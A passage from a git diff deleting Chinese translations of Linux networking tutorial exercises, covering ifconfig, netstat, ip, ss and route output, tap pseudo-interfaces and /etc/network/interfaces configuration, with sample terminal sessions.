传出数据包的转发队列长度 | -| (15) MTU | 其最大传输单位 | (31) RX bytes | 收到的字节总数 | -| (16) Metric | 路由开销(在 Linux 中未使用) | (32) TX bytes | 发送的字节总数 | - -这确实很多。但是同样,现在的重要字段是: - -+ (5) `addr` - IPv4地址。 -+ (6) `Bcast` - 广播地址。 -+ (7) `Mask ` - 网络掩码。 -+ (11) `UP` - 接口正常工作。 -+ (13) `RUNNING` - 准备好接受数据。 -+ (19) `errors` 和 (25) `errors` - 如果在这里有不为零的东西,我们就有问题了。 - -现在让我们看看`netstat`能给我们看的东西。 - -``` -user1@vm1:~$ sudo netstat -ap -Active Internet connections (servers and established) -#(1) (2) (3) (4) (5) (6) (7) -Active Internet connections (servers and established) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 *:sunrpc *:* LISTEN 580/portmap -tcp 0 0 *:ssh *:* LISTEN 900/sshd -tcp 0 0 localhost:smtp *:* LISTEN 1111/exim4 -tcp 0 0 *:36286 *:* LISTEN 610/rpc.statd -tcp 0 0 10.0.2.15:ssh 10.0.2.2:52191 ESTABLISHED 12023/sshd: user1 [ -tcp 0 0 10.0.2.15:ssh 10.0.2.2:48663 ESTABLISHED 11792/sshd: user1 [ -tcp6 0 0 [::]:ssh [::]:* LISTEN 900/sshd -tcp6 0 0 ip6-localhost:smtp [::]:* LISTEN 1111/exim4 -udp 0 0 *:bootpc *:* 843/dhclient -udp 0 0 *:sunrpc *:* 580/portmap -udp 0 0 *:52104 *:* 610/rpc.statd -udp 0 0 *:786 *:* 610/rpc.statd -#(8) (9) (10) (11) (12) (13) (14) (15) -Active UNIX domain sockets (servers and established) -Proto RefCnt Flags Type State I-Node PID/Program name Path -unix 2 [ ACC ] STREAM LISTENING 3452 786/acpid /var/run/acpid.socket -unix 6 [ ] DGRAM 3407 751/rsyslogd /dev/log -unix 2 [ ] DGRAM 1940 214/udevd @/org/kernel/udev/udevd -unix 2 [ ] DGRAM 88528 30939/sudo -unix 3 [ ] STREAM CONNECTED 68565 12023/sshd: user1 [ -unix 3 [ ] STREAM CONNECTED 68564 12026/1 -unix 2 [ ] DGRAM 68563 12023/sshd: user1 [ -unix 3 [ ] STREAM CONNECTED 66682 11792/sshd: user1 [ -unix 3 [ ] STREAM CONNECTED 66681 11794/0 -unix 2 [ ] DGRAM 66680 11792/sshd: user1 [ -unix 2 [ ] DGRAM 3465 843/dhclient -unix 2 [ ] DGRAM 3448 786/acpid -unix 3 [ ] DGRAM 1945 214/udevd -unix 3 [ ] DGRAM 1944 214/udevd -``` - -我使用两个参数来修改`netstat`输出。`-a`参数告诉`netstat`来显示所有的连接,包括建立的,例如你当前正在打字的`ssh`会话,以及监听的,例如等待新的连接的`sshd`守护进程。`-p`告诉`netstat`来显示哪个程序拥有每个连接。 - -| 活动互联网连接(服务器和已建立) | | -| --- | --- | -| 字段 | 描述 | -| (1) Proto | 套接字使用的协议(tcp,udp,raw) | -| (2) Recv-Q | 连接到此套接字的用户程序的未复制的字节数 | -| (3) Send-Q | 远程主机未确认的字节数 | -| (4) Local Address | 套接字的本端的地址和端口号。 | -| (5) Foreign Address | 套接字远端的地址和端口号。 | -| (6) State | `ESTABLISHED`, `SYN_SENT`, `SYN_RECV`, `FIN_WAIT1`, `FIN_WAIT2`, `TIME_WAIT`, `CLOSE`, `CLOSE_WAIT`, `LAST_ACK`, `LISTEN`, `CLOSING`, `UNKNOWN` | -| (7) PID | 拥有套接字的进程的进程 ID(PID)和进程名称的斜杠对。 | -| 活动 UNIX 域套接字(服务器和已建立) | -| 字段 | 描述 | -| (8) Proto | 套接字使用的协议(通常为 unix)。 | -| (9) RefCnt | 引用计数(即附加到此套接字的进程)。 | -| (10) Flags | 显示的标志是`SO_ACCEPTON`(显示为`ACC`),`SO_WAITDATA`(`W`)或`SO_NOSPACE`(`N`)。 | -| (11) Type | `SOCK_DGRAM`, `SOCK_STREAM`, `SOCK_RAW`, `SOCK_RDM`, `SOCK_SEQPACKET`, `SOCK_PACKET`, `UNKNOWN`. | -| (12) State | `FREE`, `LISTENING`, `CONNECTING`, `CONNECTED`, `DISCONNECTING`, `(empty)`, `UNKNOWN`. | -| (13) I-Node | 套接字文件的索引节点。 | -| (14) PID | 打开套接字的进程的进程 ID(PID)和进程名称。 | -| (15) Path | 这是连接到套接字的对应进程的路径名。 | - -并非所有字段都是重要的。通常你只需要查看活动的互联网连接(服务器和已建立) 部分,并使用以下字段: - -(1)`Proto` - 套接字使用的协议(tcp,udp,raw)。 -(4)`Local Address` - 套接字本端的地址和端口号。 -(5)`Foreign Address` - 套接字远端的地址和端口号,仅用于套接字对。 -(6)`State` - 现在你只应该知道两个状态:`LISTEN`和`ESTABLISHED`。前者意味着你可以连接到这个套接字,第后者的意思是这个套接字已经连接了,在这种情况下,`netstat`显示你的套接字对。 - -`ip`是一个类似于`ifconfig`的,具有扩展功能的程序。它来自`iproute2`套件,用于在某一天替换`ifconfig`。示例输出: - -``` -user1@vm1:~$ sudo ip addr show -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -# (1) (2) (3) (4) (5) (6) (8) (9) -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff # (9), (10), (11) - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 # (12), (13), (14) - inet6 fe80::a00:27ff:fed4:4568/64 scope link # (15), (16) - valid_lft forever preferred_lft forever # (17), (18), (19) -``` - -同样,我们来看看我们在`eth0`上有什么信息: - -| 字段 | 描述 | -| --- | --- | -| (1) BROADCAST | 它可以一次性向所有主机发送流量 | -| (2) MULTICAST | 它可以发送和接收组播数据包 | -| (3) UP | 它是生效的,逻辑状态 | -| (4) LOWER_UP | 驱动器信号 L1 已开启(自 Linux 2.6.17 起) | -| (5) MTU | 最大传输单位 | -| (6) qdisc | 排队规则,基本上是流量调度策略 | -| (8) State | 物理状态(载体感觉?) | -| (9) qlen | 传出数据包的转发队列长度 | -| (10) link | 物理选项 | -| (11) ether | 封装类型,MAC 地址 | -| (12) brd | 数据链路层(物理)广播地址 | -| (13) inet | IPv4 地址族地址 | -| (14) brd | IPv4 广播 | -| (15) scope | IPv4地址范围(主机,链路,全局) | -| (16) inet6 | IPv6 地址族地址 | -| (17) scope | IPv6地址范围(主机,链路,全局) | -| (18) valid_lft | IPv6 源地址选择策略 | -| (19) preffered_lft | IPv6 源地址选择策略 | - -你已经知道哪些参数很重要(与`ifconfig`相同)。 - -`ss`基本上是具有扩展功能的当代`netstat`。这是它的示例输出,其解释为留作练习: - -``` -user1@vm1:~$ sudo ss -ap | cut -c1-200 -State Recv-Q Send-Q Local Address:Port Peer Address:Port -LISTEN 0 128 *:sunrpc *:* users:(("portmap",580,5)) -LISTEN 0 128 :::ssh :::* users:(("sshd",900,4)) -LISTEN 0 128 *:ssh *:* users:(("sshd",900,3)) -LISTEN 0 20 ::1:smtp :::* users:(("exim4",1111,4)) -LISTEN 0 20 127.0.0.1:smtp *:* users:(("exim4",1111,3)) -LISTEN 0 128 *:36286 *:* users:(("rpc.statd",610,7)) -ESTAB 0 0 10.0.2.15:ssh 10.0.2.2:52191 users:(("sshd",12023,3),("sshd",12026,3)) -ESTAB 0 0 10.0.2.15:ssh 10.0.2.2:48663 users:(("sshd",11792,3),("sshd",11794,3)) -``` - -这用于处理接口,连接和接口地址。但是网络路由呢?你也可以使用几个命令获取它们的信息: - -``` -user1@vm1:~$ sudo route -n -Kernel IP routing table -# (1) (2) (3) (4) (5) (6) (7) (8) -Destination Gateway Genmask Flags Metric Ref Use Iface -10.0.2.0 * 255.255.255.0 U 0 0 0 eth0 -default 10.0.2.2 0.0.0.0 UG 0 0 0 eth0 -user1@vm1:~$ sudo netstat -nr -Kernel IP routing table # (9) -Destination Gateway Genmask Flags MSS Window irtt Iface -10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 -0.0.0.0 10.0.2.2 0.0.0.0 UG 0 0 0 eth0 -user1@vm1:~$ sudo ip route show -# (10) (11) (12) (13) (14) -10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 -#(15) (16) -default via 10.0.2.2 dev eth0 -``` - -让我们再一次看看字段: - -| 字段 | 描述 | -| --- | --- | -| (1) Destination | 目标网络或目标主机。 | -| (2) Gateway | 网关地址或`*`,如果没有设置的话。 | -| (3) Genmask | 目标网络的掩码;`255.255.255.255`为主机目标,`0.0.0.0`为默认路由。 | -| (4) Flags | Up, Host, Gateway, Reinstate, Dynamically installed, Modified, Addrconf, Cache entry, ! reject. | -| (5) Metric | 目标的“距离”(通常以跳数计算)。最近的内核不使用它,但路由守护进程可能需要它。 | -| (6) Ref | 这个路由的引用次数(在 Linux 内核中未使用)。 | -| (7) Use | 路由查询次数。 | -| (8) Iface | 用于这个路由的,发送封包的接口 | -| (9) irtt | 初始 RTT(往返时间)。内核使用它来猜测最佳的 TCP 协议参数,而无需等待(可能很慢)的答案。 | -| (10) Net/Mask | 目标网络或目标主机。 | -| (11) dev | 用于这个路由的,发送封包的接口 | -| (12) proto | `man ip /RTPROTO`: redirect, kernel, boot, static, ra | -| (13) scope | `man ip /SCOPE_WALUE`: global, site, link, host | -| (14) src | 发送到路由前缀覆盖的目标时,优先选择的源地址。 | -| (15) default | 默认网关地址 | -| (15) dev | 用于这个路由的,发送封包的接口 | - -目前的重要字段: - -+ (1)`Destination` - 目标网络或目标主机。 -+ (2)`Gateway` - 网关地址或`*`,如果没有设置的话。默认值意味着,如果没有明确指定的目标地址的网关,则将通过该网关发送数据包。 -+ (3)`Genmask` - 目标网络的网络掩码;`255.255.255.255`为主机目标,`0.0.0.0`为默认路由。 -+ (8)`Iface` - 用于这个路由的,发送封包的接口。 - - -`netstat`和`route`的哪个字段对应于`ip route show ·的哪个字段 ,再次留作一个练习。这真是太多了!深吸一口气,让我们转到实践。 - -现在你将学习如何创建伪接口,为其分配地址并更改其状态。 - -## 这样做 - -``` - 1: sudo aptitude install uml-utilities - 2: sudo tunctl -t tap0 -u user1 - 3: ls -al /sys/devices/virtual/net/tap0 - 4: sudo ifconfig tap0 10.1.1.1 netmask 255.255.255.0 - 5: sudo ifconfig - 6: sudo route - 7: ping 10.1.1.1 -c 2 - 8: sudo ifconfig tap0 down - 9: ping 10.1.1.1 -c 2 -10: sudo ifconfig tap0 up -11: sudo ip a a 10.2.2.2/24 brd + dev tap0 -12: sudo ifconfig -13: sudo route -14: ip a s -15: ip r s -16: ping 10.2.2.2 -c 2 -17: sudo ip link set dev tap0 down -18: ip a s -19: ip r s -20: ping 10.2.2.2 -c 2 -21: sudo tunctl -d tap0 -22: ip a s -23: ls -al /sys/devices/virtual/net/tap0 -``` - -## 你会看到什么 - -``` -user1@vm1:~$ sudo aptitude install uml-utilities -The following NEW packages will be installed: - libfuse2{a} uml-utilities -0 packages upgraded, 2 newly installed, 0 to remove and 0 not upgraded. -Need to get 0 B/205 kB of archives. After unpacking 737 kB will be used. -Do you want to continue? [Y/n/?] -Selecting previously deselected package libfuse2. -(Reading database ... 39616 files and directories currently installed.) -Unpacking libfuse2 (from .../libfuse2_2.8.4-1.1_amd64.deb) ... -Selecting previously deselected package uml-utilities. -Unpacking uml-utilities (from .../uml-utilities_20070815-1.1_amd64.deb) ... -Processing triggers for man-db ... -Setting up libfuse2 (2.8.4-1.1) ... -Setting up uml-utilities (20070815-1.1) ... -Starting User-mode networking switch: uml_switch. -user1@vm1:~$ sudo tunctl -t tap0 -u user1 -Set 'tap0' persistent and owned by uid 1000 -user1@vm1:~$ ls -al /sys/devices/virtual/net/tap0 -total 0 -drwxr-xr-x 4 root root 0 Jul 11 05:33 . -drwxr-xr-x 4 root root 0 Jul 11 05:33 .. --r--r--r-- 1 root root 4096 Jul 11 05:33 address --r--r--r-- 1 root root 4096 Jul 11 05:33 addr_len --r--r--r-- 1 root root 4096 Jul 11 05:33 broadcast --r--r--r-- 1 root root 4096 Jul 11 05:33 carrier --r--r--r-- 1 root root 4096 Jul 11 05:33 dev_id --r--r--r-- 1 root root 4096 Jul 11 05:33 dormant --r--r--r-- 1 root root 4096 Jul 11 05:33 duplex --r--r--r-- 1 root root 4096 Jul 11 05:33 features --rw-r--r-- 1 root root 4096 Jul 11 05:33 flags --r--r--r-- 1 root root 4096 Jul 11 05:33 group --rw-r--r-- 1 root root 4096 Jul 11 05:33 ifalias --r--r--r-- 1 root root 4096 Jul 11 05:33 ifindex --r--r--r-- 1 root root 4096 Jul 11 05:33 iflink --r--r--r-- 1 root root 4096 Jul 11 05:33 link_mode --rw-r--r-- 1 root root 4096 Jul 11 05:33 mtu --r--r--r-- 1 root root 4096 Jul 11 05:33 operstate --r--r--r-- 1 root root 4096 Jul 11 05:33 owner -drwxr-xr-x 2 root root 0 Jul 11 05:33 power --r--r--r-- 1 root root 4096 Jul 11 05:33 speed -drwxr-xr-x 2 root root 0 Jul 11 05:33 statistics -lrwxrwxrwx 1 root root 0 Jul 11 05:33 subsystem -> ../../../../class/net --r--r--r-- 1 root root 4096 Jul 11 05:33 tun_flags --rw-r--r-- 1 root root 4096 Jul 11 05:33 tx_queue_len --r--r--r-- 1 root root 4096 Jul 11 05:33 type --rw-r--r-- 1 root root 4096 Jul 11 05:33 uevent -user1@vm1:~$ sudo ifconfig tap0 10.1.1.1 netmask 255.255.255.0 -user1@vm1:~$ sudo ifconfig -eth0 Link encap:Ethernet HWaddr 08:00:27:d4:45:68 - inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 - inet6 addr: fe80::a00:27ff:fed4:4568/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:64040 errors:0 dropped:0 overruns:0 frame:0 - TX packets:44578 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:19663646 (18.7 MiB) TX bytes:25043918 (23.8 MiB) - -lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - inet6 addr: ::1/128 Scope:Host - UP LOOPBACK RUNNING MTU:16436 Metric:1 - RX packets:76 errors:0 dropped:0 overruns:0 frame:0 - TX packets:76 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:6272 (6.1 KiB) TX bytes:6272 (6.1 KiB) - -tap0 Link encap:Ethernet HWaddr ee:d8:2e:f6:bc:f1 - inet addr:10.1.1.1 Bcast:10.1.1.255 Mask:255.255.255.0 - inet6 addr: fe80::ecd8:2eff:fef6:bcf1/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:0 errors:0 dropped:1 overruns:0 carrier:0 - collisions:0 txqueuelen:500 - RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) - -user1@vm1:~$ sudo route -Kernel IP routing table -Destination Gateway Genmask Flags Metric Ref Use Iface -10.0.2.0 * 255.255.255.0 U 0 0 0 eth0 -10.1.1.0 * 255.255.255.0 U 0 0 0 tap0 -default 10.0.2.2 0.0.0.0 UG 0 0 0 eth0 -user1@vm1:~$ ping 10.1.1.1 -c 2 -PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data. -64 bytes from 10.1.1.1: icmp_req=1 ttl=64 time=0.070 ms -64 bytes from 10.1.1.1: icmp_req=2 ttl=64 time=0.027 ms - ---- 10.1.1.1 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 1001ms -rtt min/avg/max/mdev = 0.027/0.048/0.070/0.022 ms -user1@vm1:~$ sudo ifconfig tap0 down -user1@vm1:~$ ping 10.1.1.1 -c 2 -PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data. -64 bytes from 10.1.1.1: icmp_req=1 ttl=64 time=0.030 ms -64 bytes from 10.1.1.1: icmp_req=2 ttl=64 time=0.024 ms - ---- 10.1.1.1 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 999ms -rtt min/avg/max/mdev = 0.024/0.027/0.030/0.003 ms -user1@vm1:~$ sudo ifconfig tap0 up -user1@vm1:~$ sudo ip a a 10.2.2.2/24 brd + dev tap0 -user1@vm1:~$ sudo ifconfig -eth0 Link encap:Ethernet HWaddr 08:00:27:d4:45:68 - inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 - inet6 addr: fe80::a00:27ff:fed4:4568/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:64088 errors:0 dropped:0 overruns:0 frame:0 - TX packets:44609 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:19667480 (18.7 MiB) TX bytes:25049771 (23.8 MiB) - -lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - inet6 addr: ::1/128 Scope:Host - UP LOOPBACK RUNNING MTU:16436 Metric:1 - RX packets:84 errors:0 dropped:0 overruns:0 frame:0 - TX packets:84 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:6944 (6.7 KiB) TX bytes:6944 (6.7 KiB) - -tap0 Link encap:Ethernet HWaddr ee:d8:2e:f6:bc:f1 - inet addr:10.1.1.1 Bcast:10.1.1.255 Mask:255.255.255.0 - inet6 addr: fe80::ecd8:2eff:fef6:bcf1/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:0 errors:0 dropped:9 overruns:0 carrier:0 - collisions:0 txqueuelen:500 - RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) -user1@vm1:~$ sudo route -Kernel IP routing table -Destination Gateway Genmask Flags Metric Ref Use Iface -10.2.2.0 * 255.255.255.0 U 0 0 0 tap0 -10.0.2.0 * 255.255.255.0 U 0 0 0 eth0 -10.1.1.0 * 255.255.255.0 U 0 0 0 tap0 -default 10.0.2.2 0.0.0.0 UG 0 0 0 eth0 -user1@vm1:~$ ip a s -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 - inet6 fe80::a00:27ff:fed4:4568/64 scope link - valid_lft forever preferred_lft forever -12: tap0: mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 500 - link/ether ee:d8:2e:f6:bc:f1 brd ff:ff:ff:ff:ff:ff - inet 10.1.1.1/24 brd 10.1.1.255 scope global tap0 - inet 10.2.2.2/24 brd 10.2.2.255 scope global tap0 - inet6 fe80::ecd8:2eff:fef6:bcf1/64 scope link - valid_lft forever preferred_lft forever -user1@vm1:~$ ip r s -10.2.2.0/24 dev tap0 proto kernel scope link src 10.2.2.2 -10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 -10.1.1.0/24 dev tap0 proto kernel scope link src 10.1.1.1 -default via 10.0.2.2 dev eth0 -user1@vm1:~$ ping 10.2.2.2 -c 2 -PING 10.2.2.2 (10.2.2.2) 56(84) bytes of data. -64 bytes from 10.2.2.2: icmp_req=1 ttl=64 time=0.081 ms -64 bytes from 10.2.2.2: icmp_req=2 ttl=64 time=0.025 ms - ---- 10.2.2.2 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 999ms -rtt min/avg/max/mdev = 0.025/0.053/0.081/0.028 ms -user1@vm1:~$ sudo ip link set dev tap0 down -user1@vm1:~$ ip a s -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 - inet6 fe80::a00:27ff:fed4:4568/64 scope link - valid_lft forever preferred_lft forever -12: tap0: mtu 1500 qdisc pfifo_fast state DOWN qlen 500 - link/ether ee:d8:2e:f6:bc:f1 brd ff:ff:ff:ff:ff:ff - inet 10.1.1.1/24 brd 10.1.1.255 scope global tap0 - inet 10.2.2.2/24 brd 10.2.2.255 scope global tap0 -user1@vm1:~$ ip r s -10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 -default via 10.0.2.2 dev eth0 -user1@vm1:~$ ping 10.2.2.2 -c 2 -PING 10.2.2.2 (10.2.2.2) 56(84) bytes of data. -64 bytes from 10.2.2.2: icmp_req=1 ttl=64 time=0.037 ms -64 bytes from 10.2.2.2: icmp_req=2 ttl=64 time=0.024 ms - ---- 10.2.2.2 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 999ms -rtt min/avg/max/mdev = 0.024/0.030/0.037/0.008 ms -user1@vm1:~$ sudo tunctl -d tap0 -Set 'tap0' nonpersistent -user1@vm1:~$ ip a s -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 - inet6 fe80::a00:27ff:fed4:4568/64 scope link - valid_lft forever preferred_lft forever -user1@vm1:~$ ls -al /sys/devices/virtual/net/tap0 -ls: cannot access /sys/devices/virtual/net/tap0: No such file or directory -user1@vm1:~$ -``` - -## 解释 - -1. 安装使用伪(虚拟)接口的软件包。 -1. 创建伪接口`tap0`。 -1. 打印为此接口创建的,虚拟目录的内容,其中包含其设置和统计信息。 -1. 将 IP 地址`10.1.1.1/24`添加到`tap0`。 -1. 打印当前接口状态。 -1. 打印当前路由表条目。请注意,Linux 自动为`tap0`添加新路由。 -1. 通过向其发送 ICMP 回显请求数据包来测试`tap0`。 -1. 将`tap0`设为`DOWN`状态(停用)。 -1. 通过再次发送 ICMP 回显请求数据包来测试`tap0`。会有额外的附加题来解释为什么这个仍然可以工作,尽管已经停用了。 -1. 将`tap0`设为`UP`状态(启用)。 -1. 向`tap0`添加额外的IP地址`10.2.2.2/24`。`ip aa`是`ip addr add`的缩写版本。这个`+`的含义,你会在附加题中自己发现它。 -1. 打印当前接口状态。注意`ifconfig`无法列出使用`ip`工具添加的新 IP 地址。为什么?留作附加题。 -1. 打印当前路由表。请注意,Linux 自动为`tap0`添加了一条路由。 -1. 使用`ip`工具打印当前接口状态。你可以在这里看到新添加的地址。 -1. 使用`ip`工具打印我们的路由表。 -1. 通过向其发送 ICMP 回显请求报文,来测试`net tap0`的 IP 地址。 -1. 将`tap0`设为`DOWN`状态。 -1. 打印当前接口状态。 -1. 打印当前路由表条目。请注意,`tap0`路由将自动删除。 -1. 通过向其发送 ICMP 回显请求报文,来测试`net tap0`的 IP 地址。这个有用,为什么? -1. 删除伪接口`tap0`。 -1. 打印当前接口状态。`tap0`不存在 -1. 告诉我们,`tap0`虚拟目录现在也没有了。 - -## 附加题 - -+ 熟悉`man ifconfig`,`man ip`,`man netstat`,`man ss`。 -+ 当`tap0`处于关闭状态时,为什么`ping`有用? -+ `brd +`的意思是什么? -+ 为什么`ifconfig`无法列出使用`ip`添加的新地址? diff --git a/docs/llthw-zh/ex25.md b/docs/llthw-zh/ex25.md deleted file mode 100644 index ed964206..00000000 --- a/docs/llthw-zh/ex25.md +++ /dev/null @@ -1,192 +0,0 @@ -# 练习 25:网络:配置文件,`/etc/network/interfaces` - -> 原文:[Exercise 25. Networking: configuration files, /etc/network/interfaces](https://archive.fo/ckUKJ) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -从命令行配置网络接口是很好的,但现在是时候学习如何让`vm1`自动配置网络接口。为此,你将了解`/etc/network/interfaces`配置文件: - -``` -user1@vm1:~$ cat /etc/network/interfaces -# This file describes the network interfaces available on your system -# and how to activate them. For more information, see interfaces(5). - -# The loopback network interface -#(1) (2) -auto lo -#(3) (4)(5) (6) -iface lo inet loopback - -# The primary network interface -#(7) (8) -allow-hotplug eth0 -#(9) (10) (11) (12) -iface eth0 inet dhcp -``` - -像往常一样,字段及其描述: - -| 字段 | 描述 | -| --- | --- | -| (1) | 自动配置界面。 | -| (2) | 接口名称。 | -| (3) | 接口配置的开始 | -| (4) | 要配置的接口名称 | -| (5) | 此接口使用 TCP/IP 网络,IPv4。 | -| (6) | 它是回送接口。默认回送地址将自动分配给它。 | -| (7) | 在可用时自动配置接口(请在这里考虑 usb-modem)。 | -| (8) | 接口名称。 | -| (9) | 接口配置的开始 | -| (10) | 要配置的接口名称 | -| (11) | 此接口使用 TCP/IP 网络,IPv4。 | -| (12) | 此接口通过 DHCP 自动获取其参数。 | - -其他包含网络配置的重要文件,但我们在这里不会碰到他们: - -+ `/etc/hosts` - 操作系统中使用的计算机文件,用于将主机名映射到 IP 地址。`hosts`文件是一个纯文本文件,通常按照惯例命名为`hosts`。 -+ `/etc/hostname` - 分配给连接到计算机网络的设备的标签,并用于识别各种形式的电子通信设备。 -+ `/etc/resolv.conf` - 各种操作系统中的计算机文件,用于配置域名系统( DNS)解析器库。该文件是纯文本文件,通常由网络管理员或管理系统配置任务的应用创建。`resolvconf`程序是 linux 机器上的这样的程序,它管理`resolv.conf`文件。 - -让我们回忆之前练习的`tap0`。如果你重新启动`vm1`, 它就会消失。当然,你可以通过重新输入相关命令来启用它,但是让我们想象一下,你需要在重新启动后自动使用该命令。 - -现在,你将学习如何使用`/etc/network/interfaces`文件来配置接口。 - -## 这样做 - -``` -1: ip a s -2: sudo vim /etc/network/interfaces -``` - -现在将这些东西添加到配置文件末尾: - -``` - 3: auto tap0 - 4: iface tap0 inet static - 5: address 10.1.1.2 - 6: netmask 255.255.255.0 - 7: tunctl_user uml-net - 8: - 9: allow-hotplug tap1 -10: iface tap1 inet static -11: address 10.1.1.3 -12: netmask 255.255.255.0 -``` - -现在键入`:wq`并继续: - -``` -13: sudo /etc/init.d/networking start -14: ip a s -15: sudo tunctl -t tap1 -u uml-net -16: ip a s -``` - -## 你会看到什么 - -``` -user1@vm1:~$ ip a s -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 - inet6 fe80::a00:27ff:fed4:4568/64 scope link - valid_lft forever preferred_lft forever -user1@vm1:~$ sudo vim /etc/network/interfaces -# and how to activate them. For more information, see interfaces(5). - -# The loopback network interface -auto lo -iface lo inet loopback - -# The primary network interface -allow-hotplug eth0 -iface eth0 inet dhcp - -auto tap0 -iface tap0 inet static - address 10.2.2.2 - netmask 255.255.255.0 - tunctl_user uml-net - -allow-hotplug tap1 -iface tap1 inet static - address 10.3.3.3 - netmask 255.255.255.0 -~ -"/etc/network/interfaces" 21L, 457C written 21,1-8 Bot -user1@vm1:~$ sudo /etc/init.d/networking start -Configuring network interfaces...Set 'tap0' persistent and owned by uid 104 done. -user1@vm1:~$ ip a s -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 - inet6 fe80::a00:27ff:fed4:4568/64 scope link - valid_lft forever preferred_lft forever -3: tap0: mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 500 - link/ether 46:63:30:70:b5:21 brd ff:ff:ff:ff:ff:ff - inet 10.2.2.2/24 brd 10.2.2.255 scope global tap0 - inet6 fe80::4463:30ff:fe70:b521/64 scope link - valid_lft forever preferred_lft forever -user1@vm1:~$ sudo tunctl -t tap1 -u uml-net -Set 'tap1' persistent and owned by uid 104 -user1@vm1:~$ ip a s -1: lo: mtu 16436 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:d4:45:68 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0 - inet6 fe80::a00:27ff:fed4:4568/64 scope link - valid_lft forever preferred_lft forever -3: tap0: mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 500 - link/ether 46:63:30:70:b5:21 brd ff:ff:ff:ff:ff:ff - inet 10.2.2.2/24 brd 10.2.2.255 scope global tap0 - inet6 fe80::4463:30ff:fe70:b521/64 scope link - valid_lft forever preferred_lft forever -4: tap1: mtu 1500 qdisc pfifo_fast state 